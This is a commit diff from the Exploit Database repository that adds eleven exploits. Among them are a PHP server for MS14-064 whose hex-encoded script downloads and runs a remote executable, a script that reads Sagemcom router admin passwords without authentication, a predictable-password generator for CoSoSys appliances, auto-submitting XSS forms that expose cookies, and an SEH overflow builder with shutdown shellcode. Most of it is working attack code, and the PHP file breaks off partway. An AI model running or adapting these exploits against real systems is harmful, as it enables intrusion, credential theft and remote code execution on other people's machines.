DB: 2015-08-18
11 new exploits
This commit is contained in:
Offensive Security
parent
9c07c0f3e0
commit
4377b18056
12 changed files with 538 additions and 1 deletions
13
files.csv
13
files.csv
|
|
@ -34078,6 +34078,7 @@ id,file,description,date,author,platform,type,port
|
|||
37754,platforms/php/webapps/37754.txt,"WordPress Candidate Application Form Plugin 1.0 - Arbitrary File Download",2015-08-10,"Larry W. Cashdollar",php,webapps,80
|
||||
37755,platforms/windows/local/37755.c,"Windows 2k3 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)",2015-08-12,"Tomislav Paskalev",windows,local,0
|
||||
37757,platforms/multiple/webapps/37757.py,"Geoserver < 2.7.1.1 / < 2.6.4 / < 2.5.5.1 - XXE Exploit",2015-08-12,"David Bloom",multiple,webapps,0
|
||||
37758,platforms/win32/shellcode/37758.c,"Windows x86 All Versions - user32!MessageBox _Hello World!_ (199 Bytes Null-Free)",2015-08-12,noviceflux,win32,shellcode,0
|
||||
37759,platforms/linux/dos/37759.py,"NeuroServer 0.7.4 - (EEG TCP/IP Transceiver) Remote DoS",2015-08-12,nitr0us,linux,dos,0
|
||||
37760,platforms/windows/local/37760.rb,"PDF Shaper 3.5 - Buffer Overflow",2015-08-12,metacom,windows,local,0
|
||||
37761,platforms/ios/webapps/37761.txt,"Printer Pro 5.4.3 IOS - Persistent Cross Site Scripting",2015-08-12,"Taurus Omar",ios,webapps,0
|
||||
|
|
@ -34091,7 +34092,7 @@ id,file,description,date,author,platform,type,port
|
|||
37769,platforms/php/webapps/37769.txt,"Gkplugins Picasaweb - Download File",2015-08-15,"TMT zno",php,webapps,0
|
||||
37770,platforms/hardware/webapps/37770.txt,"TOTOLINK Routers - Backdoor and RCE Exploit PoC",2015-08-15,MadMouse,hardware,webapps,0
|
||||
37771,platforms/windows/local/37771.py,"Microsoft HTML Help Compiler 4.74.8702.0 - SEH Based Overflow",2015-08-15,St0rn,windows,local,0
|
||||
37772,platforms/multiple/local/37772.js,"Firefox < 39.03 - pdf.js Same Origin Policy Exploit",2015-08-15,"In Ming Loh",multiple,local,0
|
||||
37772,platforms/multiple/local/37772.js,"Firefox < 39.03 - pdf.js Same Origin Policy Exploit",2015-08-15,"Tantaryu MING",multiple,local,0
|
||||
37773,platforms/php/webapps/37773.txt,"Joomla com_memorix component - SQL Injection vulnerability",2015-08-15,"BM Cloudx",php,webapps,0
|
||||
37774,platforms/php/webapps/37774.txt,"Joomla com_informations component - SQL Injection vulnerability",2015-08-15,"BM Cloudx",php,webapps,0
|
||||
37775,platforms/windows/dos/37775.py,"Ability FTP Server 2.1.4 - afsmain.exe USER Command Remote DoS",2015-08-15,St0rn,windows,dos,0
|
||||
|
|
@ -34115,3 +34116,13 @@ id,file,description,date,author,platform,type,port
|
|||
37793,platforms/android/remote/37793.txt,"Google Chrome for Android Multiple file:: URL Handler Local Downloaded Content Disclosure",2012-09-12,"Artem Chaykin",android,remote,0
|
||||
37794,platforms/android/remote/37794.txt,"Google Chrome for Android Local Application Handling Cookie Theft Weakness",2012-09-12,"Artem Chaykin",android,remote,0
|
||||
37795,platforms/android/remote/37795.txt,"Google Chrome for Android Same-origin Policy Bypass Local Symlink Weakness",2012-09-12,"Artem Chaykin",android,remote,0
|
||||
37798,platforms/windows/dos/37798.py,"XMPlay 3.8.1.12 - .pls Local Crash PoC",2015-08-17,St0rn,windows,dos,0
|
||||
37799,platforms/windows/local/37799.py,"MASM321 11 Quick Editor (.qeditor) 4.0g- .qse SEH Based Buffer Overflow (ASLR & SAFESEH bypass)",2015-08-17,St0rn,windows,local,0
|
||||
37800,platforms/windows/remote/37800.php,"Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064)",2015-08-17,"Mohammad Reza Espargham",windows,remote,0
|
||||
37801,platforms/hardware/webapps/37801.sh,"Sagemcom F@ST 3864 V2 - Get Admin Password",2015-08-17,"Cade Bull",hardware,webapps,0
|
||||
37802,platforms/jsp/webapps/37802.html,"IFOBS 'regclientprint.jsp' Multiple HTML Injection Vulnerabilities",2012-09-15,MustLive,jsp,webapps,0
|
||||
37803,platforms/hardware/remote/37803.txt,"CoSoSys Endpoint Protector Predictable Password Generation Vulnerability",2012-09-17,"Christopher Campbell",hardware,remote,0
|
||||
37804,platforms/php/webapps/37804.txt,"minimal Gallery 'index.php' Multiple Cross Site Scripting Vulnerabilities",2012-09-17,ayastar,php,webapps,0
|
||||
37805,platforms/php/webapps/37805.txt,"TAGWORX.CMS 'cid' Parameter SQL Injection Vulnerability",2012-09-18,Crim3R,php,webapps,0
|
||||
37806,platforms/cgi/webapps/37806.txt,"AxisInternet VoIP Manager Multiple Cross Site Scripting Vulnerabilities",2012-09-18,"Benjamin Kunz Mejri",cgi,webapps,0
|
||||
37807,platforms/php/webapps/37807.txt,"VBulletin 4.1.12 'blog_plugin_useradmin.php' SQL Injection Vulnerability",2012-09-18,Am!r,php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
17
platforms/cgi/webapps/37806.txt
Executable file
17
platforms/cgi/webapps/37806.txt
Executable file
|
|
@ -0,0 +1,17 @@
|
|||
source: http://www.securityfocus.com/bid/55589/info
|
||||
|
||||
AxisInternet VoIP Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
AxisInternet VoIP Manager 2.1.5.7 is vulnerable; other versions may also be affected.
|
||||
|
||||
https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&lastname=&lastname_match=1&firstname=&firstname_match=1&department=%22%3 %3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&department_match=1&action=Select
|
||||
|
||||
https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&lastname=&lastname_match=1&firstname=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&firstname_match=1&department=&department_match=1&action=Select
|
||||
|
||||
https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&;lastname=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&lastname_match=1&firstname=&firstname_match=1&department=&department_match=1&action=Select
|
||||
|
||||
https://www.example.com/asterisk/contact_chooser.cgi?contact=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C
|
||||
|
||||
https://www.example.com/asterisk/contacts.cgi?type=2&usr=demo-100&managed_usr=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&type_selector=2&lastname=&lastname_match=1&firstname=&firstname_match=1&department=&department_match=1&action=Select+
|
||||
59
platforms/hardware/remote/37803.txt
Executable file
59
platforms/hardware/remote/37803.txt
Executable file
|
|
@ -0,0 +1,59 @@
|
|||
source: http://www.securityfocus.com/bid/55570/info
|
||||
|
||||
CoSoSys Endpoint Protector is prone to an insecure password generation vulnerability.
|
||||
|
||||
Successfully exploiting this issue may allow an attacker to guess generated passwords and gain access to affected appliances.
|
||||
|
||||
CoSoSys Endpoint Protector 4 is vulnerable; other versions may also be affected.
|
||||
|
||||
function Get-EPPPassword {
|
||||
<#
|
||||
.Synopsis
|
||||
|
||||
Get-EPPPassword calculates the predictable root password for Cososys Endpoint Protector 4 servers.
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
|
||||
.Description
|
||||
|
||||
Get-EPPPassword Timeline:
|
||||
discovered 3 Mar 2012
|
||||
reported to vendor 12 Jun 2012
|
||||
reported to US-CERT 15 Jul 2012
|
||||
released 17 Sep 2012
|
||||
|
||||
.Example
|
||||
|
||||
Get-EPPPassword -Serial 123456789
|
||||
|
||||
.Link
|
||||
|
||||
http://obscuresecurity.blogspot.com/2012/09/cososys-predicable-password-cve-2012.html
|
||||
#>
|
||||
|
||||
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Serial)
|
||||
|
||||
#function to calculate sums from serial number
|
||||
function GetSerialSum {
|
||||
if ($Serial.Length -ne 9) {
|
||||
Return "EPP Serial Number is 9 digits"
|
||||
}
|
||||
else {
|
||||
#convert $serial to an array of integers
|
||||
[int[]] $SerialArray = [char[]]$Serial| ForEach-Object {[int]"$_"}
|
||||
}
|
||||
foreach ($Number in $SerialArray) {
|
||||
$Sum += $Number
|
||||
}
|
||||
Write-Output $Sum
|
||||
}
|
||||
|
||||
#function to calculate epproot password
|
||||
function GetPassword {
|
||||
Write-Output "eroot!00$Sums`RO"
|
||||
}
|
||||
$Sums = GetSerialSum
|
||||
GetPassword
|
||||
}
|
||||
|
||||
Get-EPPPassword -Serial 135792468
|
||||
23
platforms/hardware/webapps/37801.sh
Executable file
23
platforms/hardware/webapps/37801.sh
Executable file
|
|
@ -0,0 +1,23 @@
|
|||
#!/bin/bash
|
||||
#########################################
|
||||
# Exploit Title: Sagemcom 3864 V2 get admin password
|
||||
# Date 2015-08-15
|
||||
# Author: Cade Bull
|
||||
# Software Link: null
|
||||
# Tested on: Sagemcom F@ST 3864 V2
|
||||
# Version: 7.253.2_F3864V2_Optus
|
||||
#########################################
|
||||
|
||||
# The sagemcom modem does not authenticate users when requesting pages, only whilst posting forms
|
||||
# the password.html page loads the admin password in clear text and stores it in Javascript, which is viewable without any credentials
|
||||
|
||||
if [ "$1" != "" ]
|
||||
then
|
||||
IP_ADDRESS="$1"
|
||||
else
|
||||
echo "Usage : $0 IP_ADDRESS"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
USER_PASSWORD=`wget http://$IP_ADDRESS/password.html -t 1 -q -O - | grep "pwdAdmin" | tr " = " "\n" | grep "'" | tr -d "';" `
|
||||
echo "admin password = $USER_PASSWORD"
|
||||
7
platforms/jsp/webapps/37802.html
Executable file
7
platforms/jsp/webapps/37802.html
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/55561/info
|
||||
|
||||
IFOBS is prone to multiple HTML-injection vulnerabilities.
|
||||
|
||||
Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.
|
||||
|
||||
IFOBS XSS-1.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="secondName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-2.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="firstName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-3.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="thirdName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-4.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthDay" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-5.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthMonth" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html>
|
||||
13
platforms/php/webapps/37804.txt
Executable file
13
platforms/php/webapps/37804.txt
Executable file
|
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/55577/info
|
||||
|
||||
minimal Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
minimal Gallery 0.8.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
htp://www.example.com/index.php?c=[XSS]
|
||||
htp://www.example.com/PAth/index.php?s=[XSS]
|
||||
htp://www.example.com/PAth/index.php?s=y&id=[XSS]
|
||||
htp://www.example.com/PAth/index.php?m=[XSS]
|
||||
htp://www.example.com/PAth/index.php?d=[XSS]
|
||||
11
platforms/php/webapps/37805.txt
Executable file
11
platforms/php/webapps/37805.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/55586/info
|
||||
|
||||
TAGWORX.CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/gallery.php?cid=124'&pid=124
|
||||
|
||||
http://www.example.com/gallery.php?cat_id=17&cid='&pid=&img=1
|
||||
|
||||
http://www.example.com/gallery.php?cid=124'&pid=124
|
||||
9
platforms/php/webapps/37807.txt
Executable file
9
platforms/php/webapps/37807.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/55592/info
|
||||
|
||||
VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
VBulletin 4.1.12 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/includes/blog_plugin_useradmin.php?do=usercss&u=[Sql]
|
||||
59
platforms/win32/shellcode/37758.c
Executable file
59
platforms/win32/shellcode/37758.c
Executable file
|
|
@ -0,0 +1,59 @@
|
|||
/*
|
||||
* This file was automatically generated by mkhex.sh,
|
||||
* which, together with the complete
|
||||
* and heavily commented assembly source code
|
||||
* for this shellcode, is available at
|
||||
* https://github.com/NoviceLive/shellcoding.
|
||||
*
|
||||
* For those curious heads
|
||||
* striving to figure out what's under the hood.
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
# include <stdlib.h>
|
||||
# include <stdio.h>
|
||||
# include <string.h>
|
||||
|
||||
# include <windows.h>
|
||||
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
char *shellcode = "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b"
|
||||
"\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09"
|
||||
"\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d"
|
||||
"\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03"
|
||||
"\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81"
|
||||
"\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04"
|
||||
"\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03"
|
||||
"\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3"
|
||||
"\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68"
|
||||
"\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68"
|
||||
"\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9"
|
||||
"\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65"
|
||||
"\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01"
|
||||
"\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68"
|
||||
"\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68"
|
||||
"\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68"
|
||||
"\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57"
|
||||
"\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c"
|
||||
"\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78"
|
||||
"\x69\x74\x54\x53\xff\xd6\x57\xff\xd0";
|
||||
|
||||
DWORD why_must_this_variable;
|
||||
BOOL ret = VirtualProtect (shellcode, strlen(shellcode),
|
||||
PAGE_EXECUTE_READWRITE, &why_must_this_variable);
|
||||
|
||||
if (!ret) {
|
||||
printf ("VirtualProtect\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
printf("strlen(shellcode)=%d\n", strlen(shellcode));
|
||||
|
||||
((void (*)(void))shellcode)();
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
34
platforms/windows/dos/37798.py
Executable file
34
platforms/windows/dos/37798.py
Executable file
|
|
@ -0,0 +1,34 @@
|
|||
#!/usr/bin/env python
|
||||
#
|
||||
# Exploit Title: XMPlay .pls Local Crash poc
|
||||
# Date: 2015-08-16
|
||||
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
|
||||
# Twitter: st0rnpentest
|
||||
#
|
||||
# Vendor Homepage: http://www.un4seen.com/
|
||||
# Software Link: http://www.un4seen.com/download.php?xmplay38
|
||||
# Version: 3.8.1.12
|
||||
# Tested on: Windows 7
|
||||
#
|
||||
|
||||
|
||||
# Stack Overflowing xmplay, but we can't
|
||||
# rewrite any register ou SE Handler
|
||||
|
||||
def generateCrash():
|
||||
crash="""[playlist]
|
||||
numberofentries=1
|
||||
file1="""
|
||||
|
||||
crash+="pwned"*1000000
|
||||
return crash
|
||||
|
||||
|
||||
|
||||
try:
|
||||
f=open("xmplay.pls","w")
|
||||
f.write(generateCrash())
|
||||
f.close
|
||||
print "Evil xmplay.pls generated!"
|
||||
except:
|
||||
print "I can't create file :/"
|
||||
57
platforms/windows/local/37799.py
Executable file
57
platforms/windows/local/37799.py
Executable file
|
|
@ -0,0 +1,57 @@
|
|||
#!/usr/bin/env python
|
||||
#
|
||||
# Exploit Title: MASM32 quick editor .QSE SEH Based Buffer Overflow (ASLR & SAFESEH bypass)
|
||||
# Date: 2015-08-15
|
||||
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
|
||||
# Twitter: st0rnpentest
|
||||
#
|
||||
# Vendor Homepage: http://www.masm32.com/
|
||||
# Software Link: http://www.masm32.com/masmdl.htm
|
||||
# Version: MASM32 11 qeditor 4.0g
|
||||
# Tested on: Windows 7
|
||||
#
|
||||
|
||||
|
||||
from struct import pack
|
||||
import sys
|
||||
|
||||
# 95 bytes Little Joke shellcode :p (shutdown)
|
||||
# The shellcode must be printable
|
||||
shellcode=""
|
||||
shellcode+="\x89\xE3"
|
||||
shellcode+="\xDB\xC2"
|
||||
shellcode+="\xD9\x73\xF4"
|
||||
shellcode+="\x5E"
|
||||
shellcode+="VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOKEoDFPNEsFQIYLqEeKjKcIICDDdIdQJNcKrGtFQQJDKGsQJF"
|
||||
shellcode+="THdMkIONBPaG3GPGBB2HMKuDCC0OYNnEaMDH9O3LyQOHoJWCzDmP8KGIkLXGnGFIlDlMOOdEnFNQsHgEBJ0PZFHQwKaMKF5OwLCD4D"
|
||||
shellcode+="QP5DtJPE7OuP5JvJCMeBmCcDsQQKTQJBDKIBSEDOlQbIKK5MMBwEoJYN4KlHtMYJFDtKuBRKiBXOzBlJuBUIBLIKbPeMqKQEpFxNRP1"
|
||||
shellcode+="CjHFGGOTKLNmIpDLKLG2D6O6L2DoKLOpGfNNJqLzQ3GKKdPlMrQoL3NHHnFDOjIyPJNkOSIzFSD4EVCPKaE1FPFKOLQdNPPQHyD6KzQI"
|
||||
shellcode+="NJENKKN2FEF9GtDqFbLUBnGhFCEmEGIXQaGPI8Q6LuClDkISG6OkDsOVQSKPIcQJGNQiOfClHmPzNSFNQiL1PHOEDVLNINDUITDCEoCKBBO3DNOKLJAA"
|
||||
|
||||
|
||||
nop="\x90"*(1140-35) # Destination of jump: qeditor add 8C opcode (mov in assembly) which crash qeditor
|
||||
bypass="\xe2" # with the nop (8C90 90909090) to bypass this we can use different opcodes.
|
||||
endnop="\x90"*34 # The opcode e2 make the instruction 8ce2 (MOV DX,FS) and the execution flow
|
||||
nop+=bypass+endnop # can be continued
|
||||
|
||||
|
||||
junk="\x90"*(1704-95) # Junk after shellcode
|
||||
padding='\x62'*52 # 52 bytes available after SE Handler
|
||||
|
||||
|
||||
jump="\xe9\x14\xf5\xff\xff" # jump to the nop
|
||||
nseh="\xeb\xf9\x90\x90" # jump to previous instruction
|
||||
seh=pack("<I",0x00406a25) # asciiprint: pop edi pop esi ret (C:\masm32\qeditor.exe)
|
||||
|
||||
|
||||
payload=nop+shellcode+junk+jump+nseh+seh+padding
|
||||
|
||||
try:
|
||||
f=open("evil.qse","w")
|
||||
f.write(payload)
|
||||
f.close()
|
||||
print "Evil QSE script created!\nHack'n'Roll"
|
||||
except:
|
||||
print "Can't create Evil QSE script :'("
|
||||
sys.exit(0)
|
||||
|
||||
237
platforms/windows/remote/37800.php
Executable file
237
platforms/windows/remote/37800.php
Executable file
|
|
@ -0,0 +1,237 @@
|
|||
#!/usr/bin/php
|
||||
<?php
|
||||
# Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution
|
||||
# Tested on Windows 7 / Server 2008
|
||||
#
|
||||
#
|
||||
# Author : Mohammad Reza Espargham
|
||||
# Linkedin : https://ir.linkedin.com/in/rezasp
|
||||
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
|
||||
# Website : www.reza.es
|
||||
# Twitter : https://twitter.com/rezesp
|
||||
# FaceBook : https://www.facebook.com/mohammadreza.espargham
|
||||
#
|
||||
#
|
||||
# MS14-064
|
||||
#
|
||||
#
|
||||
# 1 . run php code : php hta.php
|
||||
# 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip)
|
||||
# 3 . open poc.hta
|
||||
# 4 . Your Link Download/Execute on your target
|
||||
# 5 . Finished ;)
|
||||
#
|
||||
# Demo : http://youtu.be/Vkswz7vt23M
|
||||
#
|
||||
|
||||
|
||||
|
||||
|
||||
$port=80; # Port Address
|
||||
$link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link
|
||||
|
||||
|
||||
|
||||
print " Mohammad Reza Espargham\n\n\n";
|
||||
|
||||
$host= gethostname(); #g3th0stn4m3
|
||||
$ip = gethostbyname($host); #g3th0stbyn4m3
|
||||
|
||||
print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n";
|
||||
|
||||
$reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!');
|
||||
socket_bind($reza, 0,$port);
|
||||
socket_listen($reza);
|
||||
|
||||
$msgd =
|
||||
"\x3c\x68\x74\x6d\x6c\x3e\x0d\x0a\x3c\x6d\x65\x74\x61\x20\x68\x74\x74\x70\x2d\x65\x71\x75\x69\x76".
|
||||
"\x3d\x22\x58\x2d\x55\x41\x2d\x43\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x22\x20\x63\x6f\x6e\x74\x65".
|
||||
"\x6e\x74\x3d\x22\x49\x45\x3d\x45\x6d\x75\x6c\x61\x74\x65\x49\x45\x38\x22\x20\x3e\x0d\x0a\x3c\x68".
|
||||
"\x65\x61\x64\x3e\x0d\x0a\x3c\x2f\x68\x65\x61\x64\x3e\x0d\x0a\x3c\x62\x6f\x64\x79\x3e\x0d\x0a\x20".
|
||||
"\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55\x41\x47\x45\x3d\x22\x56\x42\x53\x63".
|
||||
"\x72\x69\x70\x74\x22\x3e\x0d\x0a\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6e\x6d\x75".
|
||||
"\x6d\x61\x61\x28\x29\x20\x0d\x0a\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20".
|
||||
"\x4e\x65\x78\x74\x0d\x0a\x73\x65\x74\x20\x73\x68\x65\x6c\x6c\x3d\x63\x72\x65\x61\x74\x65\x6f\x62".
|
||||
"\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22".
|
||||
"\x29\x0d\x0a\x63\x6f\x6d\x6d\x61\x6e\x64\x3d\x22\x49\x6e\x76\x6f\x6b\x65\x2d\x45\x78\x70\x72\x65".
|
||||
"\x73\x73\x69\x6f\x6e\x20\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x53\x79\x73\x74\x65".
|
||||
"\x6d\x2e\x4e\x65\x74\x2e\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x29\x2e\x44\x6f\x77\x6e\x6c\x6f\x61".
|
||||
"\x64\x46\x69\x6c\x65\x28\x27\x46\x49\x4c\x45\x5f\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x27\x2c\x27\x6c".
|
||||
"\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x2d".
|
||||
"\x63\x6f\x6d\x20\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x29\x2e\x53".
|
||||
"\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x27\x6c\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b".
|
||||
"\x22\x0d\x0a\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x20\x22\x70".
|
||||
"\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c\x2e\x65\x78\x65\x22\x2c\x20\x22\x2d\x43\x6f\x6d\x6d\x61\x6e".
|
||||
"\x64\x20\x22\x20\x26\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x2c\x20\x22\x22\x2c\x20\x22\x72\x75\x6e\x61".
|
||||
"\x73\x22\x2c\x20\x30\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x3c\x2f\x73".
|
||||
"\x63\x72\x69\x70\x74\x3e\x0d\x0a\x20\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55".
|
||||
"\x41\x47\x45\x3d\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3e\x0d\x0a\x20\x20\x0d\x0a\x64\x69\x6d".
|
||||
"\x20\x20\x20\x61\x61\x28\x29\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x29\x0d\x0a\x64\x69\x6d".
|
||||
"\x20\x20\x20\x61\x30\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x31\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61".
|
||||
"\x32\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x33\x0d\x0a\x64\x69\x6d\x20\x20\x20\x77\x69\x6e\x39\x78".
|
||||
"\x0d\x0a\x64\x69\x6d\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x0d\x0a\x64\x69\x6d\x20".
|
||||
"\x20\x20\x72\x6e\x64\x61\x0d\x0a\x64\x69\x6d\x20\x20\x20\x66\x75\x6e\x63\x6c\x61\x73\x73\x0d\x0a".
|
||||
"\x64\x69\x6d\x20\x20\x20\x6d\x79\x61\x72\x72\x61\x79\x0d\x0a\x20\x0d\x0a\x42\x65\x67\x69\x6e\x28".
|
||||
"\x29\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x42\x65\x67\x69\x6e\x28\x29\x0d\x0a".
|
||||
"\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a".
|
||||
"\x20\x20\x69\x6e\x66\x6f\x3d\x4e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x55\x73\x65\x72\x41\x67\x65".
|
||||
"\x6e\x74\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
|
||||
"\x57\x69\x6e\x36\x34\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20".
|
||||
"\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69".
|
||||
"\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x20\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
|
||||
"\x4d\x53\x49\x45\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x20\x0d\x0a\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x20\x3d\x20\x43\x49\x6e".
|
||||
